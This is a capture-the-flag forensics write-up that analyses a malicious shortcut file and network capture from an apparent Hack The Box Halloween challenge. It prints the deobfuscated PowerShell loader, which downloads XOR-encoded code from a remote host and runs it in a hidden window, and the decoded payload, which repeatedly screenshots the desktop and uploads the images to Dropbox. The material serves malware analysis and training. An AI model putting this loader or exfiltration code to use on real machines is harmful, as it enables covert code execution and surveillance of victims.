Trick or Treat

Personal Rating: Medium

General

  • We got a .pcap file and a .lnk file with the info that the .lnk file opened a hidden command window

LNK

  • The lnk file performs some steps and has obfuscation to it: → Powershell is started in a hidden window → A list of user agents is defined in $UserAgents to mimic a regular browser for the requests. One is selected to $RandomUserAgent → A webclient is created and the user agent is added to the header. The content of ‘http:// windowsliveupdater.com’ is downloaded as $boddmei → From the downloaded content in $boddmei every two characters are decoded from hex to Int16 and then XORed with 0x1d → The decoded chars are concatenated to $vurnwos → The code inside $vurnwos is executed → Another var $asvods is executed as code, but it was not defined before → shell32.dll is referenced, but I dont know how or why

  • When I downloaded the content manually, what I see is a reference to https://unpkg.com/ tailwindcss@^2/dist/tailwind.min.css with a timeout to then open a rickroll

  • Opening the first link redirects to /tailwindcss@2.2.19/dist/tailwind.min.css

  • CURLing that shows a lot of css data, but certainly nothing that can be executed by Powershell

  • Since there is nothing interesting here, I suspect that I have to look at the pcap file for now.

  • Still, here is the code that I deobfuscated from the lnk file:

powershell.exe -windowstyle hidden:
$asvods ='';
$UserAgents = @('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36','Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/
15.15063','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like
Gecko');
$RandomUserAgent = $UserAgents | Get-Random;
$WebClient = New-Object System.Net.WebClient;
$WebClient.Headers.Add('User-Agent', $RandomUserAgent);
$boddmei = $WebClient.DownloadString('http://windowsliveupdater.com');
$vurnwos ='';
for($i=0;$i -le $boddmei.Length-2;$i=$i+2){
$bodms=$boddmei[$i]+$boddmei[$i+1];
$decodedChar = [char]([convert]::ToInt16($bodms, 16));
$xoredChar=[char]([byte]($decodedChar) -bxor 0x1d);
$vurnwos = $vurnwos + $xoredChar
};
Invoke-Command -ScriptBlock ([Scriptblock]::Create($vurnwos));
Invoke-Command -ScriptBlock ([Scriptblock]::Create($asvods));
C:\Windows\System32\shell32.dll%SystemRoot%\System32\shell32.dll%SystemRoot%
\System32\shell32.dll
%wN]ND.Q1SPSXFL8C&mm.S-1-5-21-3849600975-1564034632-632203374-1001

  • This will be important once I found the data that was actually downloaded in the incident

PCAP

  • There is interesting http traffic

  • There are some HEAD and mostly GET requests

  • The interesting GET requests were sent from the client 10.0.2.15 to 193.57.35.48

  • The host msedge.b.tlu.dl.delivery.mp.microsoft.com is queried

  • The data transferred seems to be ASP .NET application data

  • Looking at the conversations, there is a short one with the windowsliveupdater domain that we know from the link file:

  • Following the TCP stream, we find what is the code that we can transform with the powershell script in the .lnk file

7b68737e697472733d596f726d5f726530486d71727c793d661717465e70797178695f74737974737a353440176d7c6f7c703d35173d3d3d3d17464d7c6f7c707869786f3d35507c73797c69726f643d203d39496f6878313d4b7c7168785b6f72704d746d78717473783d203d39496f6878344017465c71747c6e353f7b3f344017466e696f74737a40394e72686f7e785b7471784d7c697517343d1739596f726d5f72655c7e7e786e6e49727678733d203d3f55495f666e2964424d68706d762c2c2c2c2c2c2c733c3c3c603f17397268696d68695b7471783d203d4e6d717469304d7c69753d394e72686f7e785b7471784d7c69753d3071787c7b1739497c6f7a78695b7471784d7c6975203f32397268696d68695b7471783f17397c6f7a3d203d3a663d3f6d7c69753f273d3f3a3d363d39497c6f7a78695b7471784d7c69753d363d3a3f313d3f707279783f273d3f7c79793f313d3f7c6869726f78737c70783f273d696f6878313d3f706869783f273d7b7c716e783d603a17397c686975726f74677c697472733d203d3f5f787c6f786f3d3f3d363d39596f726d5f72655c7e7e786e6e4972767873173975787c79786f6e3d203d53786a30527f77787e693d3f4e646e697870335e727171787e697472736e335a7873786f747e3359747e697472737c6f6446464e696f74737a4031464e696f74737a40403f173975787c79786f6e335c7979353f5c686975726f74677c697472733f313d397c686975726f74677c6974727334173975787c79786f6e335c7979353f596f726d7f7265305c4d54305c6f7a3f313d397c6f7a34173975787c79786f6e335c7979353f5e7273697873693049646d783f313d3a7c6d6d71747e7c6974727332727e697869306e696f787c703a341754736b727678304f786e695078697572793d30486f743d7569696d6e2732327e72736978736933796f726d7f72657c6d74337e7270322f327b7471786e32686d71727c793d305078697572793d4d726e693d3054735b7471783d394e72686f7e785b7471784d7c69753d3055787c79786f6e3d3975787c79786f6e176017176a75747178352c346617173d3d5c79793049646d783d305c6e6e78707f7164537c70783d4e646e697870334a747379726a6e335b726f706e314e646e69787033596f7c6a74737a17173d3d396e7e6f7878736e3d203d464a747379726a6e335b726f706e334e7e6f7878734027275c71714e7e6f7878736e17173d3d3969726d3d3d3d3d203d35396e7e6f7878736e335f726873796e3349726d3d3d3d3d613d50787c6e686f7830527f77787e693d3050747374706870343350747374706870173d3d3971787b693d3d3d203d35396e7e6f7878736e335f726873796e3351787b693d3d3d613d50787c6e686f7830527f77787e693d3050747374706870343350747374706870173d3d396a747969753d3d203d35396e7e6f7878736e335f726873796e334f747a75693d3d613d50787c6e686f7830527f77787e693d30507c65747068703433507c6574706870173d3d397578747a75693d203d35396e7e6f7878736e335f726873796e335f72696972703d613d50787c6e686f7830527f77787e693d30507c65747068703433507c657470687017173d3d397f726873796e3d3d3d203d46596f7c6a74737a334f787e697c737a71784027275b6f727051494f5f353971787b69313d3969726d313d396a74796975313d397578747a756934173d3d397f706d3d3d3d3d3d3d203d53786a30527f77787e693d3049646d78537c70783d4e646e69787033596f7c6a74737a335f7469707c6d3d305c6f7a687078736951746e693d354674736940397f726873796e336a7479697534313d354674736940397f726873796e337578747a756934173d3d397a6f7c6d75747e6e3d203d46596f7c6a74737a335a6f7c6d75747e6e4027275b6f727054707c7a7835397f706d3417173d3d397a6f7c6d75747e6e335e726d645b6f72704e7e6f78787335397f726873796e3351727e7c69747273313d46596f7c6a74737a334d7274736940272758706d6964313d397f726873796e336e7467783417173d3d397f706d334e7c6b78353f3978736b27484e584f4d4f525b545158415c6d6d597c697c4151727e7c71414978706d413978736b277e72706d6869786f737c7078305e7c6d69686f78336d737a3f34173d3d397a6f7c6d75747e6e3359746e6d726e783534173d3d397f706d3359746e6d726e783534173d3d173d3d6e697c6f69306e7178786d3d304e787e7273796e3d2c28173d3f3978736b27484e584f4d4f525b545158415c6d6d597c697c4151727e7c71414978706d413978736b277e72706d6869786f737c7078305e7c6d69686f78336d737a3f3d613d596f726d5f726530486d71727c791760

  • Using what I saw in the deobfuscated .lnk file, I created a decryptor with the above data in “fetchedcode”:

$dwlstring = Get-Content -Path "C:\Users\aua\Documents\htboo2023\fetchedcode" -
Raw
for($i=0;$i -le $dwlstring.Length-2;$i=$i+2){
$byte=$dwlstring[$i]+$dwlstring[$i+1];
$decodedChar = [char]([convert]::ToInt16($byte, 16));
$xoredChar=[char]([byte]($decodedChar) -bxor 0x1d);
$code = $code + $xoredChar
};
$code

  • This prints the resulting code, which contains the flag:

PS C:\Users\aua\Documents\htboo2023> .\decrypter.ps1
function DropBox-Upload {
[CmdletBinding()]
param (
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
[Alias("f")]
[string]$SourceFilePath
)
$DropBoxAccessToken = "HTB{s4y_Pumpk1111111n!!!}"
$outputFile = Split-Path $SourceFilePath -leaf
$TargetFilePath="/$outputFile"
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true,
"mute": false }'
$authorization = "Bearer " + $DropBoxAccessToken
$headers = New-Object "System.Collections.Generic.Dictionary[[String],
[String]]"
$headers.Add("Authorization", $authorization)
$headers.Add("Dropbox-API-Arg", $arg)
$headers.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method
Post -InFile $SourceFilePath -Headers $headers
}
while(1){
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
$screens = [Windows.Forms.Screen]::AllScreens
$top
= ($screens.Bounds.Top
| Measure-Object -Minimum).Minimum
$left
= ($screens.Bounds.Left
| Measure-Object -Minimum).Minimum
$width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum
$height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum
$bounds
= [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)
$bmp
= New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]
$bounds.width), ([int]$bounds.height)
$graphics = [Drawing.Graphics]::FromImage($bmp)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty,
$bounds.size)
$bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-
Capture.png")
$graphics.Dispose()
$bmp.Dispose()
start-sleep -Seconds 15
"$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-
Upload
}

Summary

The malicious .lnk file was executed on the host 10.0.2.15, which contained a powershell loader that fetches a code snippet from a site hosted at 193.57.35.48 and executes it. An older Powershell version was used to simply bypass AMSI and the shell was launched in a hidden window. The script was lightly obfuscated. The code snippet that was downloaded before just seems to upload a screenshot of the computer name of the target to dropbox. In a real incident it would usually be designed to load further malicous software from the dropbox instance, potentially to establish a C2 connection.

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